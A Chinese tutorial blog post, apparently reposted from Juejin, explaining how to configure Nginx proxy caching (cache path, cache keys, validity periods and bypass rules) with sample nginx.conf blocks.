是我参与11月更文挑战的第28天,活动详情查看:2021最后一次更文挑战

缓存简介

Nginx的http_proxy模块,可以实现类似于Squid的缓存功能。

Nginx对客户已经访问过的内容在Nginx服务器本地建立副本,这样在一段时间内再次访问该数据,就不需要通过Nginx服务器再次向后端服务器发出请求,所以能够减少Nginx服务器与后端服务器之间的网络流量,减轻网络阻塞,同时还能减小数据传输延迟,提高用户访问速度。

同时,当后端服务器宕机时,Nginx服务器上的副本资源还能够回应相关的用户请求,这样能够提高后端服务的鲁棒性即健壮性。

  • 对于缓存,我们大概会有以下问题 :
  1. 缓存文件放哪儿 ?
  2. 如何指定哪些请求被缓存 ?
  3. 缓存的有效期是多久 ?
  4. 对于某些请求,是否可以不走缓存 ?

解决这些问题后,Nginx的缓存也就基本配置完成了。

  • 缓存文件放在哪儿 ?
  1. proxy_cache_path:Nginx 使用该参数指定缓存位置。
  2. proxy_cache:该参数为之前指定的缓存名称。
  3. proxy_cache_path:有两个必填参数, 第一个参数为缓存目录。 第二个参数keys_zone指定缓存名称和占用内存空间的大小。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ini复制代码nginx.confg 配置文件

http {
proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g;
upstream www.nicole.com{
server 127.0.0.1:8881;
server 127.0.0.1:8882;
server 127.0.0.1:8883;
}
server{
listen 80 ;
proxy_cache one ;
server_name www.nicole.com;
}
}

注 :示例中的10m是对内存中缓存内容元数据信息大小的限制,如果想限制缓存总量大小,需要用max_size参数。

  • 如何指定哪些请求被缓存?
  1. Nginx默认会缓存所有get和head方法的请求结果,缓存的key默认使用请求字符串。
  2. 自定义Key 例如proxy_cache_key “hosthosthostrequest_uri$cookie_user” ;
  3. 指定请求至少被发送了多少次以上时才缓存,可以防止低频请求被缓存。例如proxy_cache_min_uses 5 ;
  4. 指定哪些方法的请求被缓存,例如proxy_cache_methods GET HEAD POST ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ini复制代码nginx.confg 配置文件

http {
proxy_cache_path /data/nginx/cache keys_zone=one:10m;
upstream www.nicole.com{
server 127.0.0.1:8881;
server 127.0.0.1:8882;
server 127.0.0.1:8883;
} server{
listen 80 ;
proxy_cache one ;
server_name www.nicole.com;
location / {
proxy_pass http://www.nicole.com;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_cache_key $host$request_uri$cookie_user;
} }
}
  • 缓存有效期

默认情况下,缓存内容是长期留存的,除非缓存的总量超出限制。可以指定缓存有效时间,例如 :

  1. 响应状态码为200 、302 时 ,10分钟有效 ,proxy_cache_valid 200 302 10m ;
  2. 对应任何状态码,5分钟有效 ,proxy_cache_valid any 5m ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ini复制代码nginx.confg 配置文件

http {
proxy_cache_path /data/nginx/cache keys_zone=one:10m;
upstream www.nicole.com{
server 127.0.0.1:8881;
server 127.0.0.1:8882;
server 127.0.0.1:8883;
}
server{
listen 80 ;
proxy_cache one ;
server_name www.nicole.com;
location / {
proxy_pass http://www.nicole.com;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_cache_valid 200 302 10m ;
}
}
}
  • 对于某些请求,是否可以不走缓存 ?

proxy_cache_bypass : 该指令响应来自原始服务器而不是缓存。

例如proxy_cache_bypass cookie_nocachecookie\_nocache cookie_nocachearg_nocache $arg_comment ;

如果任何一个参数值不为空,或者不等于0,nginx就不会查找缓存,直接进行代理转发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ini复制代码nginx.confg 配置文件

http {
proxy_cache_path /data/nginx/cache keys_zone=one:10m;
upstream www.nicole.com{
server 127.0.0.1:8881;
server 127.0.0.1:8882;
server 127.0.0.1:8883;
}
server{
listen 80 ;
proxy_cache one ;
server_name www.nicole.com;
location / {
proxy_pass http://www.nicole.com;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_cache_bypass $cookie_nocache $arg_nocache $arg_comment ;
}
}
}

缓存原理

网页的缓存是由HTTP消息头中的“Cache-control”来控制的,常见的取值有private、no-cache、max-age、must-revalidate等,默认为private。其作用根据不同的重新浏览方式分为以下几种情况:

缓存配置

操作配置后,curl -I 命令验证缓存的状态 。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…102103104…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%